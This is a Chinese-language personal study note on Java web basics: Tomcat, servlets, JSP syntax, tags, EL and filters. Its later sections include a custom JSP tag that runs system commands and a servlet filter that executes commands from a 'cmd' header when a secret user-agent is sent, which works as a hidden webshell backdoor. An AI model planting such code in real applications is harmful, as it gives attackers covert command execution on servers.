学习笔记 - java-web学习(一)
- 前言 -
没啥水平的玩意,就当作给自己写着,便于以后翻看。
- 环境搭建 -
- tomcat -
作为一个免费开源的轻量web应用服务器, tomcat
可以看作是 Apache
服务器的扩展,常用以作为 Servlet
和 JSP
容器。
- 安装 -
这是有关在 windows
中 tomcat
的安装,先从官网 https://tomcat.apache.org/ 下载,然后解压到合适的目录👇

- 环境变量 -
确保以下环境变量得以配置👇
JAVA_HOME=C:\Java\jdk-11.0.12
CATALINA_HOME=F:\javaEnv\tomcat\apache-tomcat-9.0.58
CATALINA_BASE=F:\javaEnv\tomcat\apache-tomcat-9.0.58
CLASSPATH=F:\javaEnv\tomcat\apache-tomcat-9.0.58\lib\jsp-api.jar;F:\javaEnv\tomcat\apache-tomcat-9.0.58\lib\servlet-api.jar
PATH=C:\Java\jdk-11.0.12\bin;%PATH%
- 启动/停止 -
其中在 windows
下开启 tomcat
服务需运行 bin\startup.bat
文件(运行 bin\shutdown.bat
以关闭),图方便且为了能兼容多种版本的 tomcat
可以直接改 startup.bat
文件👇

- 配置 -
可以在 lib\server.xml
中改 tomcat
的默认端口👇

或者更改主机配置,比如👇

其中 name
值可以为 ip
或是 域名
,如上图 name
的值为 localhost
会从 hosts
获取对应的 127.0.0.1
的 ip
因此可以通过👇
http://localhost:9058/
http://127.0.0.1:9058/
任意一个进行访问。
但如果 name
的值为 127.0.0.1
需要更改以下内容👇

才能够用 http://localhost:9058/
进行访问。
- IntelliJ IDEA -
之所以用 IntelliJ IDEA
完全是因为懒 有正版授权 。
- 配置tomcat -
依次点击 File
=> settings
=> Build, Execution, Deployment
=> Application Servers
,然后再点 +
添加 Tomcat Server
👇

确保目标路径是正确的👇

之后点击 OK
,后面的 IntelliJ IDEA
机会自动补上👇

- 新建项目 -
依次点击 File
=> New
=> Module...
=> Application Servers
, 然后进行设置👇

设置好后点击 Next
,选择需要的 Dependencies
👇

最后点击 Finish
即可完成项目的新建。
- 运行 -
在 IntelliJ IDEA
的右上角👇

点击 +
然后找到 Tomcat Server
,并选择 Local
👇

新建完毕后先点击 Deployment
将上面新建的项目的 war
添入👇

选择上面新建的项目👇

再回到 Server
进行设置👇

同时最好把把这两个选了👇

这样在 tomcat
运行时更变代码会同步。
然后可以在 WEB-INF
目录新建一个目录 ,目录名可以随便起,比如 lib
👇

再设置一下结构👇

最后点击右上角的 =>
即可👇

由于在 IntelliJ IDEA
使用 tomcat
实质是先将写好的项目先打包成 war
,然后放入 tomcat
加载,所以像是 web.xml
是独立于 tomcat
的配置而只与这个项目相关。
- 环境变量 -
另外,在 IntelliJ IDEA
的运行中是直接执行 bin\catalina.bat
文件,实际上在 startup.bat
最后也会对这个文件进行执行👇

所以如果要自定义相应的环境变量得到相应 tomcat
的 bin\catalina.bat
文件中修改,或是更改运行的环境变量👇

- 内容 -
- servlet -
servlet
即 server applet
,全称为 java servlet
。从功能上来看,servlet
是一种用 java
编写的,运行在支持 java
语言服务器上的组件。通常来说,一个 servlet
是指所有实现了 servlet
接口的类, servlet
容器用以管理多个 servlet
。而 tomcat
即是可以对多个 servlet
进行管理的容器,负责将客户端的请求包装后发送给对应的 servlet
,在由 servlet
处理完毕后将相应内容返回给客户端。
- 生命周期 -
①[装载和实例化] 当服务器启动时,服务器会去 WEB-INF/web.xml
文件中解析有关 servlet
的配置,装载各个 servlet
。若解析到某个 servlet
拥有 load-on-startup=1
配置时,就会将该 servlet
实例化;而对没有 load-on-startup=1
配置的 servlet
只有在客户端第一次请求时才会实例化(若 servlet
中含有构造方法,则会在此时执行)。
②[初始化] 当一个 servlet
被实例化后,servlet
容器会去调用该 servlet
实例的 init()
方法。
③[服务] 当客户端进行请求时,servlet
容器会将从 客户端
发来的 http
请求封装成 ServletRequest
对象,并实例化一个 ServletResponse
对象用作响应,然后将这两个对象作为参数去调用对应 servlet
的 service()
方法进行处理(若对应的 servlet
没有被实例化则在首次请求时会将对应的 servlet
实例化)。
④[销毁] 当 servlet
容器不再需要某个 servlet
实例时,会调用该 servlet
实例的 destroy()
方法。
- 代码 -
在 servlet
这个接口中定义了以下方法👇
public void init(ServletConfig config) throws ServletException
public ServletConfig getServletConfig()
public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException
public String getServletInfo()
public void destroy()
其中 GenericServlet
类实现了 servlet
接口👇

而 HttpServlet
类继承了 GenericServlet
类,并对 service
方法做了一个包装👇

会通过判断客户端的请求方法来调用自身的以下方法👇
doGet
doHEAD
doPUT
doDELETE
doOPTIONS
doTRACE
那么就可以通过继承 HttpServlet
类来自定义 servlet
的处理过程了。
- 示例 -
比如说写一个对 GET
请求方法简单的处理过程,其中 Main
类通过继承 HttpServlet
类( HttpServlet
=> GenericServlet
=> Servlet
)实现了 Servlet
接口👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| package com.example.jspstudy3;
import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
public class Main extends HttpServlet {
public Main(){ System.out.println("== Main() =="); }
@Override public void init() { System.out.println("== init() =="); }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { System.out.println("== doGet() =="); resp.getWriter().println("doGet"); } }
|
以上代码用 Main
类还重写了 HttpServlet
类的 init
方法,并手动添加了构造方法,目的是对比这几种方法的调用顺序和逻辑。
然后是 web.xml
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0"> <servlet> <servlet-name>main</servlet-name> <servlet-class>com.example.jspstudy3.Main</servlet-class> </servlet> <servlet-mapping> <servlet-name>main</servlet-name> <url-pattern>/main</url-pattern> </servlet-mapping> </web-app>
|
以上内容先是用 <servlet>
标签声明一个名为 main
的 servlet
,其对应的类为 com.example.jspstudy3.Main
,进而用 <servlet-mapping>
标签来告诉 tomcat
当以哪种格式 url
访问时会交给名为 main
的 servlet
处理。
其中一个 servlet
可由多个 <servlet-mapping>
标签对应,而 <servlet-mapping>
标签中的 <url-pattern>
内容为正则表达式,但仅可以用形如以下的通配符来表示👇
同时会根据表达式的模糊度来决定匹配的优先级,越准确的表达式优先级越高,越模糊的通配符优先级越低。
但如果每个 serlvet
都在 web.xml
就会显得特别臃肿,在 servlet3.0+
时可以用以下方式替代 serlvet
在 web.xml
的配置👇
1
| @WebServlet(name = "Main", urlPatterns = "/main")
|
如果是多个表达式👇
1
| @WebServlet(name = "Main", urlPatterns = {"/main","/Main"})
|
此时无论访问 /main
或是 Main
都可以达到访问名为 main
的 servlet
目的。
另外,如果跟进 @WebServlet
可以发现实际上 urlPatterns
和 value
是同一个功能👇

所以上述表达式可以写成👇
1
| @WebServlet(name = "Main", value = {"/main","/Main"})
|
但 value
和 urlPatterns
不能同时存在。
比方说这里写入 @WebServlet(name = "Main", value = {"/main"})
👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| package com.example.jspstudy3;
import javax.servlet.annotation.WebServlet; import javax.servlet.http.HttpServlet; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.IOException;
@WebServlet(name = "Main", value = {"/main"}) public class Main extends HttpServlet {
public Main(){ System.out.println("== Main() =="); }
@Override public void init() { System.out.println("== init() =="); }
@Override protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws IOException { System.out.println("== doGet() =="); resp.getWriter().println("doGet"); } }
|
当访问 http://localhost:9058/jspstudy3_war_exploded/main
并刷新两次得到的结果👇

可见在 Main
这个 servlet
中方法的调用顺序为 构造方法
=> init()
=> doGet()
,显然 init
方法是在 servlet
被实例化完毕后才由 servlet
容器调用。
- servlet和tomcat过程 -
① 客户端
向 tomcat
服务器(servlet
容器)的 serlvet
(通过 <serlvet-mapping>
将请求URL对应到相应 serlvet
类)发送 http
请求
② servlet
容器将从 客户端
发来的 http
请求封装成 ServletRequest
对象
③ servlet
容器实例化一个 ServletResponse
对象用作响应
④ servlet
容器实例化相应 servlet
类(如果该 servlet
未在服务器启动时被实例化),然后将 ServletRequest
以及 ServletResponse
对象作为参数传给 servlet
类实例对象
⑤ servlet
容器将 servlet
类实例对象对相应内容的处理结果返回给客户端
- jsp -
jsp
全称为 java server pages
,旨在使用 jsp
标签在静态的 html
页面中插入 java
代码(通常为 <% [java代码] %>
格式),以便实现在静态模板页面中动态生成部分内容。
- jsp和serlvet联系 -
简单来说,jsp
实际上是一种 servlet
,只是表型形式不同。当客户端访问 jsp
时,服务器会将对应的 jsp
编译成 class
文件并将结果输出到浏览器。
比如写以下 jsp
文件👇

由于这里我的 CATALINA_BASE
值为 C:\Users\22929\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat\f798d3f2-b185-4339-9a97-cdc26ef39996
故在保持服务器运行的情况下可以在 C:\Users\22929\AppData\Local\JetBrains\IntelliJIdea2021.3\tomcat\f798d3f2-b185-4339-9a97-cdc26ef39996\work\Catalina\localhost\jspstudy3_war_exploded\org\apache\jsp
目录中拿到有关 jsp
的 class
和 java
文件👇

如果打开 test_jsp.java
文件,可以看到 test_jsp
类继承了 org.apache.jasper.runtime.HttpJspBase
类👇

使用 jd-gui
打开 tomcat
目录下的 lib\jasper.jar
文件可以得到 org.apache.jasper.runtime.HttpJspBase
类的代码👇

可见是继承了 HttpServlet
类,而 HttpServlet
类最终通过继承 GenericServlet
类实现 serlvet
方法,因此可以说 jsp
实际上是一个 serlvet
。
如果继续看这个 HttpJspBase
类还可以发现,其 init
,service
,以及 destroy
方法分别存在 _jspInit
,_jspservice
和 _jspDestory
方法的调用👇

回来看 test_jsp.java
文件,存在上述的方法👇

其中在 _jspService
方法中可以很明显的看到对相应内容的相关写入👇

因此可知在 jsp
写的任何 html
内容都会被先转换为 servlet
,然后用 out.write
来写入响应内容,而 java
代码则会在这个 test_jsp
类的 _jspService
方法中执行。
同时 jsp
也可以看作是一个类的内部,像是 test_jsp
类的属性或是方法都可以在这个 jsp
里面直接使用的。
- jsp和servlet区别 -
由于 jsp
最终的归宿是转换成 servlet
,区别也就只能从其他方面来区分,比如在多层应用中 jsp
一般是用来做表现层,而servlet
用作控制层;jsp
是先部署后再编译,servlet
一般是先编译后部署,这样 如果 jsp
代码发生了改动,tomcat
就会在下次客户端请求时重新编译生成 class
文件,就不需要重启 tomcat
服务器。
- jsp和tomcat过程 -
① 客户端
向 tomcat
服务器上的 jsp
发送 http
请求
② tomcat
容器将从 客户端
发来的 http
请求封装成 ServletRequest
对象
③ tomcat
容器实例化一个 ServletResponse
对象用作响应
④ tomcat
服务器将对应的 jsp
文件转换成相应 java
格式的 servlet
文件
⑤ tomcat
服务器将相应 java
格式的 servlet
文件编译成对应 class
格式的 servlet
文件(此时就接着有关 servlet
的处理部分了)
⑥ tomcat
服务器实例化对应的 servlet
类(如果该 servlet
类未被实例化),将 ServletRequest
以及 ServletResponse
对象作为参数传给 servlet
类实例对象
⑦ tomcat
服务器将 servlet
类实例对象对相应内容的处理结果返回给客户端
- 语法 -
JSP脚本
等价 XML
语句👇
1 2 3
| <jsp:scriptlet> [java代码段] </jsp:scriptlet>
|
可以在 JSP脚本
中写入任意 java
代码。
JSP声明
等价 XML
语句👇
1 2 3
| <jsp:declaration> [java声明内容] </jsp:declaration>
|
声明内容可以是对一个或多个变量,方法定义或重写的语句。这些声明的内容在经过解析后会放到后面转换的 java
文件中,比如在 test.jsp
中有以下声明语句👇
1 2 3 4 5 6
| <%! int x = 100; public void init(){ System.out.println("init"); } %>
|
那么其对应的 test_jsp.java
文件的 test_jsp
类的开头就会多出以上内容👇

可以看作是直接写入对应的类。
JSP表达式
等价 XML
语句👇
1 2 3
| <jsp:expression> [表达式] </jsp:expression>
|
实际上 JSP表达式
等价于 out.write([表达式])
。另外,无法用 ;
结尾。
JSP注释
这个 JSP注释
可以注释任何里面的东西,例如在调试的时候可以直接用 <%-- [注释内容] --%>
格式去让某段 html
内容消失。
- 指令(directive) -
jsp
的指令用来设置整个页面相关的属性,指令的语法格式👇
有三种指令标签(摘自 JSP语法 )👇
指令 |
描述 |
<%@ page … %> |
定义页面的依赖属性,比如脚本语言、error页面、缓存需求等等 |
<%@ include … %> |
包含其他文件 |
<%@ taglib … %> |
引入标签库的定义,可以是自定义标签 |
- page -
page
指令用来定义页面依赖性,比如脚本语言、error页面和缓存需求等,拥有以下的属性名称👇
import
contentType
pageEncoding
language
errorPage
isErrorPage
info
session
......
例如👇
1
| <%@ page import="java.io.IOException" %>
|
以上 import
的作用即是在 jsp
页面中引入需要用到的类或包。
比较常见的👇
1
| <%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="utf-8" %>
|
即规定该页面的文档类型和所使用编码都为 utf-8
,其次对该页面使用 java
语言进行解释。
还有👇
1
| <%@ page session="false" %>
|
即是关闭了 jsp
中的内置 session
对象。
和错误页面相关的👇
1
| <%@ page errorPage="error.jsp" %>
|
将当前页面的错误页面设为 error.jsp
,即如果在当前页面有错误发生则使用 error.jsp
页面的内容。
错误页面上的👇
1
| <%@ page isErrorPage="true" %>
|
这样就可以在错误页面中直接使用 Exception
类的 exception
对象。
如果想声明 jsp
的信息可以用以下👇
这样可以从 Servlet.getServletInfo()
中获取到。
- include -
这个指令有点像 php
中的 include
,用以包含一些 jsp
或是 html
文件的内容,但并没有文件格式的限制,比如👇
1
| <%@ include file="/etc/issue" %>
|
可以将 /etc/issue
文件的内容读取出来。
- taglib -
用以引入标签库,如以 JSTL
标签库为例👇
1
| <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
|
其中 prefix
为标签前缀,uri
为类库的地址。
- 行为(action) -
这个其实就是 jsp
中内置的 标签
,使用 XML
语法结构。比如上面语法中所述的 XML
等价语句其实就是 jsp
的行为。
行为的语法格式👇
比如一些行为(摘自 JSP语法 )👇
语法 |
描述 |
jsp:include |
用于在当前页面中包含静态或动态资源 |
jsp:useBean |
寻找和初始化一个JavaBean组件 |
jsp:setProperty |
设置 JavaBean组件的值 |
jsp:getProperty |
将 JavaBean组件的值插入到 output中 |
jsp:forward |
从一个JSP文件向另一个文件传递一个包含用户请求的request对象 |
jsp:plugin |
用于在生成的HTML页面中包含Applet和JavaBean对象 |
jsp:element |
动态创建一个XML元素 |
jsp:attribute |
定义动态创建的XML元素的属性 |
jsp:body |
定义动态创建的XML元素的主体 |
jsp:text |
用于封装模板数据 |
- include -
和上面指令的 include
在包含形如 jsp
文件时所进行操作不同,行为中的 include
是先将所要包含的 jsp
文件编译执行了,然后将执行的结果内容包含进来;而指令的 include
则将所要包含的 jsp
文件的内容连同自己的内容合并了再编译执行。
比如在 test.jsp
页面中👇
1
| <jsp:include page="index.jsp">
|
相当于将 index.jsp
页面加载完毕后的内容拼接到 test.jsp
页面对应 <jsp:include>
的位置。
- bean -
有关 javaBean
的行为,包括 useBean
,setProperty
和 getProperty
。比如构造以下的 bean
类👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36
| package person;
public class PersonBean implements java.io.Serializable {
private String name = null; private int age = 0; private String text = null;
public PersonBean() { }
public String getName() { return this.name; }
public String getText() { return this.text; }
public int getAge() { return this.age; }
public void setName(String var1) { this.name = var1; }
public void setText(String var1) { this.text = var1; }
public void setAge(int var1) { this.age = var1; } }
|
然后将其打包成 jar
👇

一个简单的示例👇
1 2 3 4 5 6 7 8 9 10
| <jsp:useBean id="person" class="person.PersonBean" scope="page" > <jsp:setProperty name="person" property="name" value="dq"/> <jsp:setProperty name="person" property="age" value="1"/> <jsp:setProperty name="person" property="text" value="test"/> </jsp:useBean> <ul> <li><jsp:getProperty name="person" property="name"/></li> <li><jsp:getProperty name="person" property="age"/></li> <li><jsp:getProperty name="person" property="text"/></li> </ul>
|
其中👇
-
<jsp:setProperty>
用以指定对应名称的 bean
所使用的 bean
类,以及作用域,比如这里的意思是作用域为当前页面,名称为 person
,使用 person.PersonBean
类的 bean
-
<jsp:setProperty>
用以对指定名称的 bean
中对应属性赋值
-
<jsp:getProperty>
用以获取指定名称的 bean
中指定属性的值
得到结果👇

当然 <jsp:useBean>
实质是在指定的作用域内实例化对应的类,而这个类不一定得是真正的 bean
类,只要是可序列化的都行。
- xml -
其实就是用 element
,attribute
,body
和 text
构建 xml
内容,比如👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <jsp:element name="e1"> <jsp:attribute name="a1" trim="true"> a1_value </jsp:attribute> <jsp:attribute name="a2" trim="true"> a2_value </jsp:attribute> <jsp:body > <jsp:element name="e2"> <jsp:attribute name="a3"> a3_value </jsp:attribute> <jsp:body>test</jsp:body> </jsp:element> </jsp:body> </jsp:element>
|
得到结果👇

- forward -
用以实现请求转发功能,类似 request.getRequestDispatcher("page").forward(request,response)
,简单来说即是将请求和响应内容原封不动地交给另一个页面进行处理,页面内容显示的是另一个页面的内容。
比如在 a.jsp
👇
1 2 3 4 5 6 7 8 9 10 11
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>a</title> </head> <body> <jsp:forward page="b.jsp"> <jsp:param name="a" value="123"/> </jsp:forward> </body> </html>
|
在 b.jsp
👇
1 2 3 4 5 6 7 8 9 10 11 12
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <html> <head> <title>b</title> </head> <body> <% out.println(request.getParameter("a")); out.println(request.getParameter("b")); %> </body> </html>
|
当以 ?b=321
去访问 a.jsp
时👇

虽然访问的是 a.jsp?b=321
但显示出来的内容为 b.jsp
页面的内容,这意味着在 b.jsp
中可以使用 a.jsp
的 request
和 response
。
- 九大内置对象 -
由于在 jsp
中隐藏着九个内置对象,这使得 jsp
比 serlvet
用起来更为方便(摘自 JSP语法 )👇
对象 |
描述 |
request |
HttpServletRequest类的实例 |
response |
HttpServletResponse类的实例 |
out |
PrintWriter类的实例,用于把结果输出至网页上 |
session |
HttpSession类的实例 |
application |
ServletContext类的实例,与应用上下文有关 |
config |
ServletConfig类的实例 |
pageContext |
PageContext类的实例,提供对JSP页面所有对象以及命名空间的访问 |
page |
类似于Java类中的this关键字 |
Exception |
Exception类的对象,代表发生错误的JSP页面中对应的异常对象 |
- 四大作用域 -
其实就是九大内置对象中的四个,因为这四个对象都可以用 setAttribute
方法来存储数据,用 getAttribute
获取数据。
- application -
存在 application
的数据可以在服务器下的多个应用中访问。
- page -
存在 page
的数据只能在当前页面中访问。
- request -
存在 request
的数据可以在同一次请求中访问,如可以通过请求转发形式在 b.jsp
页面中访问 a.jsp
页面存在 request
的数据。
- session -
存在 session
的数据可以在同一会话中访问,一般来说可以在同一个项目下的所有页面访问到。
- 标签(tag) -
实话说,标签用起来感觉还挺方便。
- JSTL标签 -
即 jsp
标准标签库,封装了 jsp
应用的通用核心功能。需要从 http://archive.apache.org/dist/jakarta/taglibs/standard/binaries/ 下载相应的版本,然后将里面 lib
目录的 jar
,tld
目录的 tld
文件放到对应路径中。
比如这里路径配置如下👇

然后是 web.xml
内容👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?xml version="1.0" encoding="UTF-8"?> <web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd" version="4.0">
<jsp-config> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/core</taglib-uri> <taglib-location>/WEB-INF/tld/c.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/fmt</taglib-uri> <taglib-location>/WEB-INF/tld/fmt.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/sql</taglib-uri> <taglib-location>/WEB-INF/tld/sql.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/xml</taglib-uri> <taglib-location>/WEB-INF/tld/x.tld</taglib-location> </taglib> <taglib> <taglib-uri>http://java.sun.com/jsp/jstl/functions</taglib-uri> <taglib-location>/WEB-INF/tld/fn.tld</taglib-location> </taglib> </jsp-config>
</web-app>
|
根据所提供的功能,可以分为 5
个类别👇
核心标签
格式化标签
SQL标签
XML标签
JSTL函数
其中各个标签定义如下(摘自jsp标准标签库)👇
核心标签
1
| <%@ taglib prefix="c" uri="http://java.sun.com/jsp/jstl/core" %>
|
格式化标签
1
| <%@ taglib prefix="fmt" uri="http://java.sun.com/jsp/jstl/fmt" %>
|
SQL标签
1
| <%@ taglib prefix="sql" uri="http://java.sun.com/jsp/jstl/sql" %>
|
XML标签
1
| <%@ taglib prefix="x" uri="http://java.sun.com/jsp/jstl/xml" %>
|
JSTL函数
1
| <%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %>
|
- 自定义标签 -
比方说自定义一个可用来执行系统命令的标签 cmd
,先写一个实现的类👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45
| package custom;
import javax.servlet.jsp.JspException; import javax.servlet.jsp.tagext.SimpleTagSupport; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader; import java.io.StringWriter;
public class cmd extends SimpleTagSupport {
private String cmd = null; private boolean show = false; private final StringWriter sw = new StringWriter();
public void setCmd(String cmd){ this.cmd = cmd; }
public void setShow(boolean show){ this.show = show; }
@Override public void doTag() throws JspException, IOException {
if(this.cmd == null){ getJspBody().invoke(sw); this.cmd = this.sw.toString(); }
StringBuilder sb = new StringBuilder(); String line; BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(this.cmd).getInputStream(),"GBK")); while((line = br.readLine()) != null){ sb.append(line); }
if(this.show){ getJspContext().getOut().write(sb.toString()); }
} }
|
然后打包成 jar
,放入指定目录中👇

再写入 tld
文件👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20
| <taglib> <tlib-version>1.0</tlib-version> <jsp-version>1.2</jsp-version> <short-name>c_t</short-name> <tag> <name>execute</name> <tag-class>custom.cmd</tag-class> <body-content>scriptless</body-content> <attribute> <name>cmd</name> <required>false</required> <type>java.lang.String</type> </attribute> <attribute> <name>show</name> <required>false</required> <type>boolean</type> </attribute> </tag> </taglib>
|
以上内容是给这个标签规定了 2
个属性,分别为 cmd
和 show
(这两个属性非强制要求赋值),其中 cmd
属性类型被规定为 String
型,用作输入命令,而 show
属性类型被规定为 boolean
型,判断是否将命令执行结果回显;并且可支持将内嵌内容传入 cmd
属性。
在 web.xml
中引入👇

然后将以下内容写入 tag.jsp
文件👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <%@ page contentType="text/html;charset=UTF-8" language="java" pageEncoding="UTF-8" %> <%@ taglib prefix="cmd" uri="//localhost/custom_tag/cmd" %> <html> <head> <title>TAG</title> </head> <body> <cmd:execute cmd="echo \"属性\"" show="true"/> <cmd:execute show="true"> echo "内嵌" </cmd:execute> <cmd:execute cmd="echo \"属性,不显示\"" show="false"/> <cmd:execute show="false"> echo "内嵌,不显示" </cmd:execute> <cmd:execute cmd="calc.exe" show="false"/> </body> </html>
|
得到结果👇

- EL表达式 -
jsp
表达式语言即 JSP EL
使得访问存储在各式各样 javaBean
中的数据变得简单,其既可以用来创建算术表达式,也可以用来创建逻辑表达式。
简单的语法如下👇
在 JSP EL
中的通用操作符为 .
和 []
,比如想用 jsp
标签指定 x
的 length
属性的值👇
1
| <jsp:setProperty name="x" property="length" value="100"/>
|
但这个 length
属性是需要动态变化的,这时就可以用到 JSP EL
了👇
1
| <jsp:setProperty name="x" property="length" value="${param['a']+param['b']}"/>
|
以上的意思是将请求参数 a
和 b
值相加得到的结果赋值给 x
的 length
属性。
若想要停用 JSP EL
,可以在开头写入👇
1
| <%@ page isELIgnored ="true" %>
|
以下是有关 JSP EL
的操作符(摘自jsp表达式语言)👇
操作符 |
描述 |
. |
访问一个Bean 属性或者一个映射条目 |
[] |
访问一个数组或者链表的元素 |
( ) |
组织一个子表达式以改变优先级 |
+ |
加 |
- |
减或负 |
* |
乘 |
/ or div |
除 |
% or mod |
取模 |
== or eq |
测试是否相等 |
!= or ne |
测试是否不等 |
< or lt |
测试是否小于 |
> or gt |
测试是否大于 |
<= or le |
测试是否小于等于 |
>= or ge |
测试是否大于等于 |
&& or and |
测试逻辑与 |
|| or or |
测试逻辑或 |
! or not |
测试取反 |
empty |
测试是否空值 |
当然,在 JSP EL
中使用标签库定义的函数也是可以的,比如👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <%@ page contentType="text/html;charset=UTF-8" language="java" %> <%@ taglib prefix="fn" uri="http://java.sun.com/jsp/jstl/functions" %> <html> <head> <title>EL</title> </head> <body> <jsp:text> ${fn:toLowerCase("A")} ${fn:toUpperCase("a")} ${fn:join(fn:split("a b c d e f"," "),"|")} </jsp:text> </body> </html>
|
得到结果👇

同时 JSP EL
还支持下列的隐含对象(摘自jsp表达式语言)👇
隐含对象 |
描述 |
pageScope |
page 作用域 |
requestScope |
request 作用域 |
sessionScope |
session 作用域 |
applicationScope |
application 作用域 |
param |
Request 对象的参数,字符串 |
paramValues |
Request对象的参数,字符串集合 |
header |
HTTP 信息头,字符串 |
headerValues |
HTTP 信息头,字符串集合 |
initParam |
上下文初始化参数 |
cookie |
Cookie值 |
pageContext |
当前页面的pageContext |
这样就一目了然了,比方说上面的 ${param['a']+param['b']}
即是获取传入参数 a
和 b
之和。
- 过滤器(filter) -
过滤器即 filter
在 servlet
和 jsp
中都是 Java
类,在请求访问后端资源前用以处理 ServletRequest
和 ServletResponse
,可以理解为中间件。一般常用的过滤器类型如下👇
- 认证过滤器
- 数据压缩过滤器
- 加密过滤器
- 触发资源访问事件过滤器
- 图形转换过滤器
- 登录和验证过滤器
- MIME类型链过滤器
- 令牌过滤器
- 转换XML内容的XSL/T过滤器
过滤器和 servlet
在 web.xml
的配置差不多都先需要一个标签如 <filter>
指明名称和应用的过滤类,再用 <filter-mapping>
使用 url
正则匹配或对指定 servlet
生效模式。
- 代码 -
如果要写一个过滤器就得实现 javax.servlet.Filter
接口,在 javax.servlet.Filter
接口中定义了以下方法👇
default public void init(FilterConfig filterConfig) throws ServletException {}
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException
default public void destroy() {}
其中 init
方法和 servlet
的 init
方法差不多,当过滤器被实例化后会被调用,而 doFilter
方法即是需要进行重写自定义过滤器处理方式的方法,后面的 destroy
方法则是当不再需要过滤器时被调用。
- 自定义过滤器 -
由于过滤器的 doFilter
方法中会收到一个名为 chain
的 FilterChain
类型的参数,目的是将经上一次过滤器得到的 request
和 response
传递过来,也就是说过滤器的调用过程实际上是一个含有多个过滤器的链表中各个过滤器的依次调用。
当执行完 doFilter
方法中的处理过程后,别忘了加上一句 filterChain.doFilter(servletRequest,servletResponse)
将 servletRequest
和 servletResponse
传递给下一个过滤器,如果没有加上 filterChain.doFilter(servletRequest,servletResponse)
就会在此中断(后面页面的内容也不会显示)。
- 单个过滤器 -
比如写一个名为 cmdFilter
的过滤器,功能如下👇
- 当名为
evil
的 servlet
或 *.jsp
页面接收到客户请求时判断其 user-agent
是否为 dq
- 若
user-agent
为 dq
则判断是否存在 cmd
请求标头
- 若存在名为
cmd
的请求标头则将 cmd
请求标头的值去执行系统命令
- 将执行命令的结果追加到响应内容中返回给客户端
先自定义一个实现 javax.servlet.Filter
接口的 cmdFilter
类👇
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
| package custom;
import javax.servlet.*; import javax.servlet.http.HttpServletRequest; import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader;
public class cmdFilter implements javax.servlet.Filter{
private String userName;
@Override public void init(FilterConfig filterConfig) throws ServletException { Filter.super.init(filterConfig); if((this.userName = filterConfig.getInitParameter("name")) == null || !this.userName.equals("dq")){ this.userName = "dq"; } }
@Override public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
String ua = ((HttpServletRequest) servletRequest).getHeader("user-agent"); String cmd = ((HttpServletRequest) servletRequest).getHeader("cmd");
if(ua != null && cmd != null && ua.equals(this.userName) ){
BufferedReader br = new BufferedReader(new InputStreamReader(java.lang.Runtime.getRuntime().exec(cmd).getInputStream(),"GBK")); StringBuilder sb = new StringBuilder(); String line;
while((line = br.readLine()) != null){ sb.append(line); }
servletResponse.setCharacterEncoding("UTF-8"); servletResponse.getWriter().write(sb.toString()); } filterChain.doFilter(servletRequest,servletResponse); }
@Override public void destroy() { } }
|
然后将其打包成 jar
放到对应目录,再更改 web.xml
内容如下👇
1 2 3 4 5 6 7 8 9 10 11 12 13
| <filter> <filter-name>cmdFilter</filter-name> <filter-class>custom.cmdFilter</filter-class> <init-param> <param-name>name</param-name> <param-value>dq</param-value> </init-param> </filter> <filter-mapping> <filter-name>cmdFilter</filter-name> <url-pattern>*.jsp</url-pattern> <servlet-name>evil</servlet-name> </filter-mapping>
|
当然,如果 servlet3.0+
可以用以下代码等价上面的配置👇
1
